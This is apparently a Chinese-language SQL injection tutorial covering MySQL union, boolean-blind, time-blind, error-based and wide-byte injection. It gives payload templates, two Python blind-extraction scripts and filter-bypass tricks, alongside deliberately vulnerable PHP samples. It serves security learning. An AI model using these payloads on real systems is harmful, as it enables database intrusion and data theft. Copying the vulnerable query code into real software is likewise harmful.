前言

注入漏洞在web前十漏洞中位居榜首,其中SQL注入最为经典。

SQL注入

什么是SQL注入

SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

SQL注入漏洞可能会导致服务器的数据库信息泄露、数据被窃取、网页被篡改,甚至可能会造成网站被挂马、服务器被远程控制、被上后门等。

  • 以下是SQL注入漏洞的示例代码
...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...

中间件通过GET传入用户指定的id参数,并赋值给$id变量,$id在后面没有任何过滤,直接拼接到SQL语句中,然后在数据库中执行了此SQL语句。

注入类型

SQL注入按数据类型分为数字型注入和字符型注入

数字型注入

数字型注入就是注入点的数据类型为数字型,没有用单引号或者双引号括起来。

典型代码示例

...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...

判断方法:

  1. 输入单引号时,不正常返回

用户提交index.php?id=1'时,单个的单引号没有闭合,产生了语法错误,不正常返回。

  1. 输入 and 1=1,正常返回

用户提交index.php?id=1 and 1=1时,语句拼接后查询成功,正常返回。

  1. 输入 and 1=2,不正常返回

用户提交index.php?id=1 and 1=2时,1=2false,查询失败,不正常返回。

字符型注入

字符型注入就是注入点的数据类型为字符型,有用单引号或者双引号括起来。

典型代码示例

...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...

判断方法

  1. 输入单引号,不正常返回

用户提交index.php?id=1'时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1'' LIMIT 0,1单引号没有闭合,产生了语法错误,不正常返回。

  1. 输入 'and '1'='1,正常返回

用户提交'and '1'='1时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1' and '1'='1' LIMIT 0,1,查询成功,正常返回。

  1. 输入 'and '1'='2,不正常返回

用户提交'and '1'='2时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1' and '1'='2' LIMIT 0,1'1'='2'false,查询失败,不正常返回。

MySQL注入

MySQL数据库是一种开源的关系型数据库查询系统,是使用量最高的一种数据库管理系统,这里将以MySQL为例子讲解常见的几种注入方式。

联合查询注入

利用MySQL中UNION关键词可以同时执行多条SQL语句的特点,在参数中插入恶意的SQL注入语句,执行额外的SQL语句,获取额外敏感信息或者执行其他数据库操作。

payload模板与步骤

  1. 判断注入点
id=1 and 1=1
  1. 判断列数
id=1 order by 1
  1. 判断报错点
id=1 and 1=2 union select 1,2,3
  1. 查当前库名
id=1 and 1=2 union select database()
id=1 and 1=2 union select CONCAT_WS(CHAR(32,58,32),user(),database(),version())
  1. 查表名
id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1
  1. 查列名
id=1 and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1
  1. 查字段
id=1 and 1=2 union select group_concat(列名,列名···) from 库名 limit 0,1

注意事项

  1. union用于合并多个select语句的结果,并默认去重
  1. 联合查询中合并的选择查询必须具相同的输出字段数,采用相同的顺序,并包含相同或兼容的数据类型

bool盲注

与报错注入不同,bool盲注没有任何的报错信息输出,页面只有正常和不正常两种状态,攻击者只能通过返回的两个状态来判断输入的SQL语句是否正确,从而判断数据库中储存了哪些信息。

payload模板与步骤

  1. 获取数据库长度
id=1 and (select length(database()))>10
  1. 查库名
id=1 and (select ascii(substr(database(),1,1)))>63
  1. 查表名
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>63
  1. 查列名
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名'),1,1))>63
  1. 查字段
id=1 and ascii(substr((select 列名 from 表名),1,1))>63

注意事项

  1. substr函数

语法格式:SUBSTR(字段名,A,N)

从指定的字段从第A个字符(这里的字符从1开始)向后截取N个字符

  1. ascii函数

语法格式:ASCII(字符)

返回字符的ASCII码

  1. 脚本

盲注都是搭配脚本使用的,这里提供一个简单的python脚本模板,根据具体环境修改

  • 遍历查询
import requests

url = ''      #需要盲注的网址

payload = ''   #bool盲注的payload

flagstr = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm-}{'  

flag = ''

for i in range(1,50):
    for c in flagstr:
        data = { "id":payload.format(flag+c) }
        r = requests.post(url,data=data)
        if '' in r.text:    #返回的页面成功时的回显,由此判断是否存在此字符
            flag+=c
            print(flag)
            if c=='}':
                exit()
            break
  • 二分查询
import requests

url = ""

flag = ""

payload = ""

for i in range(1,50):
    max=128
    min=32
    while 1:
        mid=(max+min)//2
        if min==mid:
            flag+=chr(mid)
            print(flag.lower())
            if chr(mid)==' ':
                exit()
            break
        data = { 
        }
        r = requests.post(url,data=data)
        if '' in r.text:    #返回的页面成功时的回显,由此判断是否存在此字符
            min=mid
        else:
            max=mid

时间盲注

时间盲注是另一种形式的盲注,与bool盲注不同,时间盲注没有任何的报错信息输出,页面不管对或错都是一种状态,攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造的SQL测试语句,根据页面的返回时间判断数据库中储存了哪些信息。

payload模板与步骤

  1. 获取数据库长度
id=1 and sleep(if(length((select database())=5),0,5))
  1. 查库名
id=1 and sleep(if((select ascii(substr(database(),1,1)))>63,0,5))
  1. 查表名
id=1 and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>63,0,5))
  1. 查列名
id=1 and sleep(if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名'),1,1))>63,0,5))
  1. 查字段
id=1 and sleep(if(ascii(substr((select 列名 from 表名),1,1))>63,0,5))

注意事项

  1. sleep函数

语法格式:SLEEP(时间)

使执行挂起一段时间,单位为秒

  1. if函数

语法格式:IF(expr1,expr2,expr3)

效果类似于编程语言中常见的三元运算符,如果expr1为真(不等于0且不等于null),返回expr2,否则返回expr3

  1. 脚本
import requests

url = ''

flag = ''

payload = ""

for i in range(1,50):
    min=32
    max=128
    while 1:
        mid=(max+min)//2
        if min==mid:
            flag+=chr(mid)
            print(flag)
            if chr(mid)==' ':
                exit()
            break
        data = {
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            max=mid
        except Exception as e:
            min=mid

报错注入-floor

floor注入是报错注入的一种方式,主要原因是rand函数与group by子句一起使用时,rand函数会计算多次,会导致报错产生的注入。

payload模板与步骤

  1. 查库名
id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x)a)
  1. 查表名
id=1 and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)
  1. 查列名
id=1 and (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  1. 查字段
id=1 and (select 1 from (select count(*),concat((select 列名 from 表名 limit 0,1),0x3a,floor(rand()*2))x from information_schema.tables group by x)a)

注意事项

  1. floor函数

语法格式:FLOOR(x)

返回不大于x的最大整数值

  1. rand函数

语法格式:RAND()

产生一个在0和1之间的随机数

当提供一个种子数时,生成的随机数是相同的

报错注入-updatexml

updatexml也是一种报错注入,它利用updatexml函数中第二个参数XPATH_string的报错进行注入。

XPATH_string是XML文档路径,格式是/XXX/XXX/XXX/,如果格式不正确就会报错

payload模板与步骤

  1. 查库名
id=1 and updatexml(1,concat(0x7e,database()),0)
  1. 查表名
id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0)
  1. 查列名
id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)),0)
  1. 查字段
id=1 and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1)),0)

注意事项

  1. updataxml函数

语法格式:UPDATEXML(XML_document, XPath_string, new_value)

其中:

XML_document是String型数据,是XML文档的文件格式

XPath_string是(Xpath格式的字符串)是XML文档路径

new_value是String型数据,用于替换查找到的符合条件的数据

updatexml可以对XML文档进行更新

报错注入-extractvalue

extractvalue也是一种报错注入,它与updatexml注入的原理一样

payload模板与步骤

  1. 查库名
id=1 and extractvalue(1,concat(0x7e,database()))
  1. 查表名
id=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
  1. 查列名
id=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)))
  1. 查字段
id=1 and extractvalue(1,concat(0x7e,(select 列名 from 库名 limit 0,1)))

注意事项

  1. extractvalue函数

语法格式:EXTRACTVALUE(XML_document, XPath_string)

extrctvalue函数可以对XML文档进行查询

宽字节注入

开发者为了防止出现SQL注入攻击,将用户输入的数据用addslashes等函数进行过滤。

addslashes等函数默认对单引号等字符进行转义,这样就可以避免注入。

宽字节注入产生的原因是:MySQL在使用过GBK编码的时候,如果第一个字符的ASCII码大于128,会认为前两个字符是一个汉字,会将后面的转义字符\“吃掉”,将前两个字符拼接为汉字,这样就可以将SQL语句闭合,造成宽字节注入。

payload模板与步骤

  1. 查库名
id=1%81' and 1=2 union select 1,database(),3
  1. 查表名
id=1%81' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374(库名的十六进制,这里单引号会转义)
  1. 查列名
id=1%81' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x74657374 and table_name=0x666c6167
  1. 查字段
id=1%81' and 1=2 union select 1,group_concat(列名,列名,···),3 from 表名

注意事项

利用宽字节注入原理,只要第一个字符的ASCII码大于128,MySQL数据库就会认为前两个字符是一个汉字,可以正常闭合SQL语句进行注入

这样就可以用ASCII码为129的字符进行注入,其URL编码为%81

当然注入的第一个字符不一定是%81,只要是大于%80,且在汉字的编码内即可

SQL注入绕过

空格绕过

根据应用的过滤规则,会将空格加入黑名单,但是空格存在多种绕过方式,常见的包括/**/制表符换行符括号反引号来代替空格

#漏洞代码示例
if(!preg_match('/ /',$_GET["id"])){
    die("ERROR");
}else{
    $id = $_GET["id"];
    $sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
    $result = mysql_query($sql);
}
  • /**/

MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句可以正常运行

  • 制表符

在MySQL数据库中,可以用制表符(%09、%0B)来代替空格,制表符是不可见字符,在URL传输中需要编码

  • 换行符

MySQL数据库支持换行执行SQL语句,可以利用换行符(%0A、%0C)代替空格,换行符也是不可见字符,在URL传输中需要编码

  • 括号

在MySQL数据库中,任何查询中都可以使用括号嵌套SQL语句

MySQL数据库中有一个特性。

在条件语句中,在where id=1后面加=1成为where id=1=1,就是对前面所有结果与1,查询结果与原来一样

where id=1后面加=0成为where id=1=0,就是对前面的所有结果与0(取反),即查询的结果除去原有查询结果的其他数据

利用以上特性,构造括号绕过payload就可以进行bool盲注,获得数据库的信息

id=1=(ascii(mid(database()from(1)for(1)))=116)

当数据库的第一个字母为t时,上面等价于id=1=1

  • `

MySQL中的反引号是为了区分MySQL的保留字与普通字而引入的符号,反引号可以代替空格

内联注释绕过

MySQL会执行放在/*! ···*/中的语句。

/*! 50010···/也可以执行位于其中的SQL语句,其中50010表示SQL版本为5.00.10。当MySQL数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码。

当前MySQL数据库的版本是5.7.26,使用此版本的数据库进行验证

大小写绕过

根据应用程序的过滤规则,通常会针对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。

在过滤规则中可能存在过滤不完整或者只过滤小写或者大写的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写payload的方式来绕过关键字。

#漏洞代码示例
if(!preg_match('/select/',$_GET["id"])){
    die("ERROR");
}else{
    $id = $_GET["id"];
    $sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
    $result = mysql_query($sql);
}

直接传入select会回显ERROR,当传入SeLeCt时正常回显

双写关键词绕过

根据应用程序的过滤规则,有时不是直接将关键词加入黑名单,而是利用preg_replace函数将关键词替换

#漏洞代码示例
if(isser($_GET["id"])){
    $id = preg_replace('/select/i','',$_GET["id"];
    $sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
    $result = mysql_query($sql);
}

如果直接传入select将会被替换成空而报错,但是preg_replace函数并没有进行多次过滤,导致可以通过双写关键词的方式绕过

当传入seselectlect时,中间的select被替换成空,实际传入的是select,成功绕过

编码绕过

if(!preg_match('/select/i',$_GET["id"])){
    die("ERROR");
}else{
    $id = $_GET["id"];
    $sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
    $result = mysql_query($sql);
}
  • 双重URL编码绕过

  • 十六进制编码绕过

MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换

如果PHP配置中开启了GPC,GPC会自动会单引号进行转义,这样注入就无法正常使用。

但是如果将注入的数据转换成十六进制,就不需要单引号,可以正常注入

#原来传入的注入语句
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test';

进过GPC转义后,SQL语法就会发生错误,不能正常注入

#实际传入的注入语句
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\'test\';

利用编码绕过

#利用特性将表名十六进制编码后传入,不需要单引号
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374;

等价函数字符替换绕过

  • 等价等号

likein代替=

  • 等价逗号
  • 等价函数

    sleep函数与benchmark函数等价

    ascii函数与hex、bin、conv函数等价

    group_concat函数与concat_ws函数等价

    updatexml函数与extractvalue函数等价